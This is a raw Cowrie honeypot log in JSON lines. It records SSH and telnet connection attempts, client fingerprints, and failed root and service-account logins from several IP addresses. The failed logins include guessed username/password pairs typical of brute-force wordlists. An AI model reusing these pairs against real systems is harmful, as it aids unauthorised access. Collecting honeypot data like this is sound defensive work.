{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:8e:1c:d8:de:de:c4:7f:f0:97:87:a0:2e:63:f2:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7vSmUJTHMAWNAm7hp/uNmyIftunFMQRlBy1BgXE8hVrEsOSvs1X39DgnIw9O1pGwyKo19VUU5l0Z8nMXalti1PouXfRSRySElq0aH9QVf20A0YAXlCxOq6ZdXHKWUiqM+fImhgc1ZCXER3uBxkJ+bByBkAD+OJfT/ISPou95yzzkoAaH7WiF+x4TnAKz7RCvHS3TWSUFo878MEGD10o2Yc05Cp/umbGMQRrWU3qB3HUqPYLYed4bqo19aCXT5OnqNXw8ydMaAbyCfabGOHsFysj+vaYUcZhK1LZ5jrp7zNuKFzL5KulWWpilTaPPy1nIjFetOaUBToeW2JdjV6lGT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:12.091002Z","src_ip":"192.3.150.58","session":"d79aa1114a70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:fe:44:35:57:df:5c:8e:9b:cb:d8:51:67:df:44:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCi+SXfBTwK6asLDhrXCA5ESBV6QFgTl4ZEIssZOEuQPvklvOX5FYjgPJ1uSVmh26UzUkDEVCCj1UP1CmJW5jO44hE7Kd6UsIqlgV3v+cmBZJBzm0GICpHY0SuyDZVtJugXTWZBbNgASxK6YwBoyNvVG8l1e+fLI4YqKaV6gHa28PPL9ulRnhpkI9Ibi1Ht4wKZgfFSKGbxEtHFS2qbXh+r+8o6yfSgAjJyaco0224YoYKReMOaBCULLL8p0LmKIOPnp1YG32pLmnItbBLDoAtwD1hJJ6fSRhqp1z4epJZGbU2NBy5M21jWWCOlyE0CMHE2i69BdhRVSMerkZy3gxVL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:fe:44:35:57:df:5c:8e:9b:cb:d8:51:67:df:44:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:12.162069Z","src_ip":"192.3.150.58","session":"d79aa1114a70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:fe:44:35:57:df:5c:8e:9b:cb:d8:51:67:df:44:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCi+SXfBTwK6asLDhrXCA5ESBV6QFgTl4ZEIssZOEuQPvklvOX5FYjgPJ1uSVmh26UzUkDEVCCj1UP1CmJW5jO44hE7Kd6UsIqlgV3v+cmBZJBzm0GICpHY0SuyDZVtJugXTWZBbNgASxK6YwBoyNvVG8l1e+fLI4YqKaV6gHa28PPL9ulRnhpkI9Ibi1Ht4wKZgfFSKGbxEtHFS2qbXh+r+8o6yfSgAjJyaco0224YoYKReMOaBCULLL8p0LmKIOPnp1YG32pLmnItbBLDoAtwD1hJJ6fSRhqp1z4epJZGbU2NBy5M21jWWCOlyE0CMHE2i69BdhRVSMerkZy3gxVL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:12.165040Z","src_ip":"192.3.150.58","session":"d79aa1114a70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:27:35:b2:b8:49:5e:67:f8:d8:87:a9:a9:a4:8a:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvLvR5rwfLeDY9Ne4y5FWX0dgQ8xVsmKTD+roMhTHdYFI0FAVcoCE6WryZUWG+nUWg+X9XlcypL3QV2+SunBBF1klxJOukHVCJd0+g+6gvYcHR9FYS3znNOkITmiiXacnqkxalUiWAOUsThx3fVjRZRtVekpaAAttfBjfiTecpld30Z7jHfjM5yU3KFttMPd3UJN+AFulbBhKl6z0pcqk+MDJlDrhYuaSnmEw4Zc/Gp2vuaDjXq8NwgNCMIBKD5INZq9aE09pTACT2l0uZGcGDu/mt9Ym8SNVuY46PSKoTgX6Nyf6DuJ4RN4xn8uAjOFcLS8zNp2qs1XcdpFJD5uW/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:27:35:b2:b8:49:5e:67:f8:d8:87:a9:a9:a4:8a:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:12.237135Z","src_ip":"192.3.150.58","session":"d79aa1114a70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:27:35:b2:b8:49:5e:67:f8:d8:87:a9:a9:a4:8a:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvLvR5rwfLeDY9Ne4y5FWX0dgQ8xVsmKTD+roMhTHdYFI0FAVcoCE6WryZUWG+nUWg+X9XlcypL3QV2+SunBBF1klxJOukHVCJd0+g+6gvYcHR9FYS3znNOkITmiiXacnqkxalUiWAOUsThx3fVjRZRtVekpaAAttfBjfiTecpld30Z7jHfjM5yU3KFttMPd3UJN+AFulbBhKl6z0pcqk+MDJlDrhYuaSnmEw4Zc/Gp2vuaDjXq8NwgNCMIBKD5INZq9aE09pTACT2l0uZGcGDu/mt9Ym8SNVuY46PSKoTgX6Nyf6DuJ4RN4xn8uAjOFcLS8zNp2qs1XcdpFJD5uW/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:12.239042Z","src_ip":"192.3.150.58","session":"d79aa1114a70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:12.309752Z","src_ip":"192.3.150.58","session":"d79aa1114a70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.222.20.20","src_port":33320,"dst_ip":"10.17.0.5","dst_port":22,"session":"00310c13f23c","protocol":"ssh","message":"New connection: 201.222.20.20:33320 (10.17.0.5:22) [session: 00310c13f23c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:16.742883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:16.747268Z","src_ip":"201.222.20.20","session":"00310c13f23c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:16.861813Z","src_ip":"201.222.20.20","session":"00310c13f23c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasdzxc.","message":"login attempt [root/qweasdzxc.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:17.355972Z","src_ip":"201.222.20.20","session":"00310c13f23c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:18.474166Z","src_ip":"201.222.20.20","session":"00310c13f23c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:42.135071Z","src_ip":"8.210.75.243","session":"d03467c19f6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":38890,"dst_ip":"10.17.0.5","dst_port":22,"session":"858d3bb2efaa","protocol":"ssh","message":"New connection: 38.242.143.220:38890 (10.17.0.5:22) [session: 858d3bb2efaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:50.561720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:50.566433Z","src_ip":"38.242.143.220","session":"858d3bb2efaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:50.673531Z","src_ip":"38.242.143.220","session":"858d3bb2efaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xvgwallet","password":"verge123","message":"login attempt [xvgwallet/verge123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:50.955035Z","src_ip":"38.242.143.220","session":"858d3bb2efaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48368,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ca76b0dfee6","protocol":"ssh","message":"New connection: 8.210.75.243:48368 (10.17.0.5:22) [session: 5ca76b0dfee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:52.049696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:52.053576Z","src_ip":"8.210.75.243","session":"5ca76b0dfee6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:52.057271Z","src_ip":"38.242.143.220","session":"858d3bb2efaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53526,"dst_ip":"159.203.135.109","dst_port":23,"session":"4241353724d8","protocol":"telnet","message":"New connection: 170.64.224.25:53526 (159.203.135.109:23) [session: 4241353724d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:52.181828Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":58258,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8b250cbee40","protocol":"ssh","message":"New connection: 165.227.170.113:58258 (10.17.0.5:22) [session: f8b250cbee40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:55.814309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:55.819885Z","src_ip":"165.227.170.113","session":"f8b250cbee40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:55.908978Z","src_ip":"165.227.170.113","session":"f8b250cbee40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"zaq12wsx","message":"login attempt [ubuntu/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:56.281989Z","src_ip":"165.227.170.113","session":"f8b250cbee40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:57.369722Z","src_ip":"165.227.170.113","session":"f8b250cbee40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43036,"dst_ip":"159.203.135.109","dst_port":23,"session":"a013530dc020","protocol":"telnet","message":"New connection: 170.64.224.25:43036 (159.203.135.109:23) [session: a013530dc020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:57.973999Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:20:11.604424Z","src_ip":"8.210.75.243","session":"a6bebde16229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":23.590582847595215,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:20:15.772292Z","src_ip":"170.64.224.25","session":"4241353724d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.203.251.187","src_port":40240,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7cf95f5a094","protocol":"ssh","message":"New connection: 119.203.251.187:40240 (10.17.0.5:22) [session: a7cf95f5a094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:20:24.294114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:20:24.297958Z","src_ip":"119.203.251.187","session":"a7cf95f5a094","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:20:24.500830Z","src_ip":"119.203.251.187","session":"a7cf95f5a094","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:20:25.347064Z","src_ip":"119.203.251.187","session":"a7cf95f5a094","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:20:26.551904Z","src_ip":"119.203.251.187","session":"a7cf95f5a094","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.0.63.25","src_port":53088,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc9eb31c343c","protocol":"ssh","message":"New connection: 218.0.63.25:53088 (159.203.135.109:22) [session: bc9eb31c343c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:20:31.903130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:20:33.209753Z","src_ip":"218.0.63.25","session":"bc9eb31c343c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:20:33.213150Z","src_ip":"218.0.63.25","session":"bc9eb31c343c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.222.20.20","src_port":46914,"dst_ip":"10.17.0.5","dst_port":22,"session":"13084a3f00fa","protocol":"ssh","message":"New connection: 201.222.20.20:46914 (10.17.0.5:22) [session: 13084a3f00fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:20:46.005534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:20:46.010415Z","src_ip":"201.222.20.20","session":"13084a3f00fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:20:46.128087Z","src_ip":"201.222.20.20","session":"13084a3f00fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q1W2E3R4","message":"login attempt [root/Q1W2E3R4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:20:46.629139Z","src_ip":"201.222.20.20","session":"13084a3f00fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:20:47.749863Z","src_ip":"201.222.20.20","session":"13084a3f00fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40286,"dst_ip":"10.17.0.5","dst_port":22,"session":"99ea90fd75eb","protocol":"ssh","message":"New connection: 8.210.75.243:40286 (10.17.0.5:22) [session: 99ea90fd75eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:20:55.717796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:20:55.721915Z","src_ip":"8.210.75.243","session":"99ea90fd75eb","protocol":"ssh"}
